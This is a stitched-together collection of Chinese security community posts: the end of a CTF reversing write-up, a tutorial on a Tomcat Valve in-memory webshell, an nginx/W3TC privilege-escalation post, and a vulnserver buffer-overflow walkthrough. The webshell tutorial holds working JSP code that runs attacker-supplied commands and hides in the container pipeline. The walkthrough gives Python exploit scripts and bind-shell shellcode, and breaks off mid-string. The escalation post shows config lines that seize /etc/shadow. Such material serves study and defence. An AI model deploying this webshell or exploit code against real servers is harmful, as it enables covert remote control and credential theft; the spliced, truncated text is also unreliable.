v23 = 54;
v24 = 67;
v25 = 66;
v26 = 85;
v27 = 126;
v28 = 72;
v29 = 85;
v30 = 30;
puts("Input the flag:");
__isoc99_scanf("%s", s);
if ( strlen(s) == 35 )
{
for ( i = 0; i < 35; ++i )
{
if ( s[i] != (v6[i] ^ *(&v31 + i)) )
{
puts("Wrong flag , try again later!");
result = 0;
goto LABEL_9;
}
}
puts("You are right! Congratulations!!");
result = 0;
}
else
{
puts("Wrong flag , try again later!");
result = 0;
}
LABEL_9:
v4 = *MK_FP(__FS__, 40LL) ^ v37;
return result;
}
* 另外这个的 IDA 在处理 memset 函数时翻译有错，应该是 memset(v6,0,6)
最后将这个 fake flag **与这些变量逐个异或即可** 。
l = [0,0,0,0,0,0,1,7,92,18,38,11,93,43,11,23,23,43,69,6,86,44,54,67,66,85,126,72,85,30]
v31 = '0Y{emagh';
v32 = '_3byam_u';
v33 = '1ht_deen';
v34 = '!!!en0_s';
v35 = '}!!';
f = v31[::-1]+v32[::-1]+v33[::-1]+v34[::-1]+v35[::-1]
flag = ''
for i in range(len(l)):
flag += chr(ord(f[i])^l[i])
print flag
这道题也可以使用 angr 来跑出 flag，具体的步骤就不多说了。
### Pro的Python教室(一)
将中间的字符串 **base64 解码** 拼接三段就可以得到 flag
hgame{Here_1s_3asy_Pyth0n} | 社区文章 |
# Tomcat容器攻防笔记之Valve内存马出世
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景：
基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。
结合当下形势，对Tomcat容器如何利用Valve实现的内存Webshell进行研究学习。
声明 ：
由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。
历史文章：
[Tomcat容器攻防笔记之Filter内存马](https://mp.weixin.qq.com/s/nPAje2-cqdeSzNj4kD2Zgw)
[Tomcat容器攻防笔记之Servlet内存马](https://mp.weixin.qq.com/s/g5A55627n26cXMon20q9tA)
[Tomcat容器攻防笔记之JSP金蝉脱壳](https://mp.weixin.qq.com/s/9IG2st2ttYk0P83B61S-Dg)
[Tomcat容器攻防笔记之隐匿行踪](https://mp.weixin.qq.com/s/zTrShntirxRn_fwOb1qlUg)
## 一、何为Valve？能做些什么？
Valve译文为阀门。在Tomcat中，四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper中，都有一个管道(PipeLine)及若干阀门(Valve)。
形象地打个比方，供水管道中的各个阀门，用来实现不同的功能，比方说控制流速、控制流通等等。
那么，Tomcat管道机制中的阀门(Valve)如出一辙，我们可以自行编写具备相应业务逻辑的Valve，并添加进相应的管道当中。这样，当客户端请求传递进来时，可以在提前相应容器中完成逻辑操作。
由于Valve并不以实体文件存在，深入容器内部不易发现，且又能执行我们想要的代码逻辑，是一个极好利用点，接下来我们继续分析一下。
## 二、Valve的机制？
正如前文所说，每个容器对象都有一个PipeLine模块，在PipeLine模块中又含有若干Value(默认情况下只有一个)。
PipeLine伴随容器类对象生成时自动生成，就像容器的逻辑总线，按照顺序加载各个Valve，而Valve是逻辑的具体实现，通过PipeLine完成各个Valve之间的调用。
在PipeLine生成时，同时会生成一个缺省Valve实现，就是我们在调试中经常看到的StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve
在Tomcat中，有四大容器类，它们各自拥有独立的管道PipeLine，当各个容器类调用getPipeLine().getFirst().invoke(Request
req, Response resp)时，会首先调用用户添加的Valve，最后再调用缺省的Standard-Valve。
注意，每一个上层的Valve都是在调用下一层的Valve，并等待下层的Valve返回后才完成的，这样上层的Valve不仅具有Request对象，同时还能获取到Response对象。使得各个环节的Valve均具备了处理请求和响应的能力。
## 三、Valve的调用和继承关系？
在CoyoteAdapter#service方法中，调用StandardEngine#getPipline()方法获取其pipeline，随后获取管道中第一个valve并调用该阀门的invoke方法。
在Tomcat默认的servler.xml配置中，定义了一个用于记录日志的Valve，查看这个org.apache.catalina.valves.AccessLogValve类
继承于ValveBase类，而ValveBase又继承了LifeCycleMBeanBase类，ValveBase作为Tomcat的一个抽象基础类，实现了生命周期接口及MBean接口，使得我们可以专注于阀门的逻辑处理。
而PipeLine也实现了addValve的方法。
经过以上分析，那么我们只需要编写一个继承于ValveBase的类，并重写Invoke方法，随后调用相应容器实例的getPipeline方法，再调用管道的addValve方法即可。
## 四、Valve代码编写
按照惯例，所用的包：
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>
编写恶意Valve，注意到调用this.getNext().invoke(req,resp)方法调用下一个Valve，否则会在该Valve终止，影响后续的响应：
public class myValue extends ValveBase{
@Override
public void invoke(Request req, Response resp) throws IOException, ServletException {
if (req.getParameter("cmd") != null) {
InputStream in = java.lang.Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String o = s.hasNext() ? s.next() : "";
resp.getWriter().write(o);
}
this.getNext().invoke(req, resp);
}
}
%>
注入到StandardContext中，当然你也可以注入到其他容器类，至于这里获取StandardContext的方法可以参考上一篇关于隐藏访问记录的文章：
Valve myValve = new myValue();
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Pipeline pipeline = context.getPipeline();
pipeline.addValve(myValve);
%>
## 五、效果展示 | 社区文章 |
# 【技术分享】通过W3TC与Nginx获取服务器root权限
|
##### 译文声明
本文是翻译文章，文章来源：tarq.io
原文地址：<https://blog.tarq.io/root-your-box-with-w3tc-and-nginx/>
译文仅供参考，具体内容表达以及含义原文为准。
作者：[360U2671379114](http://bobao.360.cn/member/contribute?uid=2671379114)
稿费：50RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在人见人爱的WordPress缓存插件W3TC与Nignx结合时，有些教程告诉你要在Nginx的配置文件中加入像这样的东西：
location / {
include /var/www/wordpress/nginx.conf;
}
当我写这篇博客的时候，这条建议现在已经成为了关于“W3TC Nginx”搜索条目的第二大热门
如果你还不知道这个配置文件是可以被W3TC（以及加上扩展的PHP）重写的，这条建议的作用就是让W3TC能够重载Nginx的配置
现在我们假设攻击者已经攻破了你的WordPress站点，并且拥有了读写www-data的权限——这在Debian和其他一些Linux发行版上是PHP5-FPM默认的
攻击者就能够灵活的去运用一些Nginx配置选项，并且把W3TC的配置改成这样：
client_body_temp_path /etc/shadow;
# optional but more fun :)
location /wat {
alias /etc;
}
这告诉Nginx目前你使用/etc/shadow路径来存储缓存文件。显然，这并非一个文件夹，但让我们看看下次重启Nginx时会发生什么
# strace -e trace=chmod,chown -f nginx
chown("/etc/shadow", 33, 4294967295) = 0
+++ exited with 0 +++
显然，任何文件或文件夹一旦被攻击者写入到上述的配置文件，它的所有者都会被更改为www-data。要注意，这个现象是发生在Root用户的主进程中的，因此这对所有文件都是一样的
我们可以以这种方法通过PHP来读取到/etc/shadow或者主机的任意文件，而对于读取上述的shadow文件，我们还可以使用curl
$ curl -s http://localhost/wat/shadow | head
root:$6$IPIbhbCwb7gHQC<SNIP>:0:99999:7:::
daemon:*:17074:0:99999:7:::
bin:*:17074:0:99999:7:::
sys:*:17074:0:99999:7:::
sync:*:17074:0:99999:7:::
games:*:17074:0:99999:7:::
man:*:17074:0:99999:7:::
lp:*:17074:0:99999:7:::
mail:*:17074:0:99999:7:::
news:*:17074:0:99999:7:::
$ curl -s http://localhost/wat/shadow | head
root:$6$IPIbhbCwb7gHQC<SNIP>:0:99999:7:::
daemon:*:17074:0:99999:7:::
bin:*:17074:0:99999:7:::
sys:*:17074:0:99999:7:::
sync:*:17074:0:99999:7:::
games:*:17074:0:99999:7:::
man:*:17074:0:99999:7:::
lp:*:17074:0:99999:7:::
mail:*:17074:0:99999:7:::
news:*:17074:0:99999:7:::
于是现在系统上所有的文件夹或文件所有权都能被更改为www-data了，并且攻击者获得了读写权限。而通过非暴力破解shadow文件手段来获取Root权限的shell的方式，则留给读者去练习和思考。
**
**
**关于降低危害的方法**
永远不要让PHP来替你管理Web服务器配置！ | 社区文章 |
为了准备参加CTP课程和OSCE考试，我此次使用vulnserver.exe来做练习。Vulnserver是一个基于Windows的线程TCP服务器程序，其中有大量的漏洞。设计该程序的目的是将其作为一个学习工具，教授软件的开发，作为一个知名的测试程序，它可以测试新的开发技术和编写的shellcode。
在进行测试之前，我们首先要通过连接9999/tcp端口来研究这个应用程序。通过使用HELP命令，所有可用的命令都显示出来了。还可以看到，所有的命令（除了HELP和EXIT）只需要一个参数。
现在我们已经知道了可用的命令，我可以使用以下SPIKE模板（trun.spk）对应用程序中的TRUN命令进行模糊测试。
s_readline();
s_string("TRUN ");
s_string_variable("FUZZ");
通过该模板，我使用SPIKE的generic_send_tcp解释器对该应用程序进行了短时间的模糊处理。
通过看调试器，我们发现应用程序立刻崩溃了。在这里，我观察到EAX存储了命令（TRUN）和模糊器发送的字符串（/.:/
AAAAA...）。ESP和EIP也被模糊测试的字符串所覆盖。
为了查看SPIKE发送的确切数据，我打开Wireshark，搜索TRUN /...:/这个字符串，发现这是存储在EAX中的字符串。
根据TCP数据流，我们可以看到由模糊器发送并导致崩溃的字节数约为5000字节。
为了验证导致崩溃的缓冲区长度，我写了下面的python脚本进行测试，其中包含5000个字节的A。
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.129"
port = 9999
buffer = "A"*5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[+] Sending exploit..."
s.send("TRUN /.:/ " + buffer)
print s.recv(1024)
s.close()
执行python脚本后发现程序再次崩溃。
我们下一步要做的就是要确定覆盖EIP寄存器的四个字节。为了做测试，我先使用Mona命令 !mona pc 5000创建了一个5000字节的字符串。
然后用这个字符串作为缓冲区，替换掉原来的5000字节的A。
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.129"
port = 9999
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[+] Sending exploit..."
s.send("TRUN /.:/ " + buffer)
print s.recv(1024)
s.close()
在执行脚本后，EIP位的数据是6F43376F。
然后我们搜索覆盖EIP的字符串的偏移量，我们可以使用以下Mona命令。结果显示，偏移量为2002字节。
然后我们更新漏洞代码，使用新的偏移量进行测试。
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.129"
port = 9999
buffer = "A"*2002
buffer += "BBBB"
buffer += "C"*(5000-len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[+] Sending exploit..."
s.send("TRUN /.:/ " + buffer)
print s.recv(1024)
s.close()
我们使用更新后的脚本验证出这个偏移量是正确的。从这里可以看出，EIP被4个B覆盖了。我们还可以看到，覆盖了ESP的C的缓冲区就直接在B的4个字节之后。这对于我们来说是一个好消息，因为我可以把我的shellcode放在B的4个字节之后。
但在这测试之前，我们首先需要识别有问题的字符。为了进一步的测试，我使用Mona命令！Mona
bytearray生成了所有可能的字符，从\x00到\xFF。把这些字符存储在变量badchars中，并添加到缓冲区中。(注意：字符NULL字节(\x00)已经被删除)
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.129"
port = 9999
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer = "A"*2002
buffer += "BBBB"
buffer += badchars
buffer += "C"*(5000-len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[+] Sending exploit..."
s.send("TRUN /.:/ " + buffer)
print s.recv(1024)
s.close()
在进行测试更新后的缓冲区后，内存转储显示出了所有的测试字符（\x01到\xFF）。这也就意味着，唯一有问题字符就是NULL字节（\x00）。
我们下一步就是要找到一个包含JMP
ESP指令的地址。我们建议使用应用程序本身的地址，或者应用程序自带的DLL。这样做的目的是为了兼容。也就意味着即使应用程序被安装在不同类型的机器上，该漏洞也会有效。在这个例子中，我从vulnserver.exe中使用的essfunc.dll模块中搜索了一条JMP
ESP指令。我使用了Mona命令的结果中的第一个地址（0x625011AF）！Mona jmp -r esp -m
"essfunc.dll"。这个地址是一个很好的利用地址，因为它没有保护机制。
那么我们 的下一步就是使用msfvenom生成shellcode
利用我之前收集的所有信息（包含JMP
ESP指令的地址和shellcode），我将漏洞利用代码修改为以下内容。我还在shellcode之前添加了一个nopsled（16
NOP指令），这可以为下一步的编译程序开辟空间。
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.129"
port = 9999
# msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f c
# Payload size: 355 bytes
shellcode = ("\xdb\xcd\xd9\x74\x24\xf4\x5a\x33\xc9\xb1\x53\xbb\x44\xdc\x09"
"\x7b\x31\x5a\x17\x83\xc2\x04\x03\x1e\xcf\xeb\x8e\x62\x07\x69"
"\x70\x9a\xd8\x0e\xf8\x7f\xe9\x0e\x9e\xf4\x5a\xbf\xd4\x58\x57"
"\x34\xb8\x48\xec\x38\x15\x7f\x45\xf6\x43\x4e\x56\xab\xb0\xd1"
"\xd4\xb6\xe4\x31\xe4\x78\xf9\x30\x21\x64\xf0\x60\xfa\xe2\xa7"
"\x94\x8f\xbf\x7b\x1f\xc3\x2e\xfc\xfc\x94\x51\x2d\x53\xae\x0b"
"\xed\x52\x63\x20\xa4\x4c\x60\x0d\x7e\xe7\x52\xf9\x81\x21\xab"
"\x02\x2d\x0c\x03\xf1\x2f\x49\xa4\xea\x45\xa3\xd6\x97\x5d\x70"
"\xa4\x43\xeb\x62\x0e\x07\x4b\x4e\xae\xc4\x0a\x05\xbc\xa1\x59"
"\x41\xa1\x34\x8d\xfa\xdd\xbd\x30\x2c\x54\x85\x16\xe8\x3c\x5d"
"\x36\xa9\x98\x30\x47\xa9\x42\xec\xed\xa2\x6f\xf9\x9f\xe9\xe7"
"\xce\xad\x11\xf8\x58\xa5\x62\xca\xc7\x1d\xec\x66\x8f\xbb\xeb"
"\x89\xba\x7c\x63\x74\x45\x7d\xaa\xb3\x11\x2d\xc4\x12\x1a\xa6"
"\x14\x9a\xcf\x53\x1c\x3d\xa0\x41\xe1\xfd\x10\xc6\x49\x96\x7a"
"\xc9\xb6\x86\x84\x03\xdf\x2f\x79\xac\xce\xf3\xf4\x4a\x9a\x1b"
"\x51\xc4\x32\xde\x86\xdd\xa5\x21\xed\x75\x41\x69\xe7\x42\x6e"
"\x6a\x2d\xe5\xf8\xe1\x22\x31\x19\xf6\x6e\x11\x4e\x61\xe4\xf0"
"\x3d\x13\xf9\xd8\xd5\xb0\x68\x87\x25\xbe\x90\x10\x72\x97\x67"
"\x69\x16\x05\xd1\xc3\x04\xd4\x87\x2c\x8c\x03\x74\xb2\x0d\xc1"
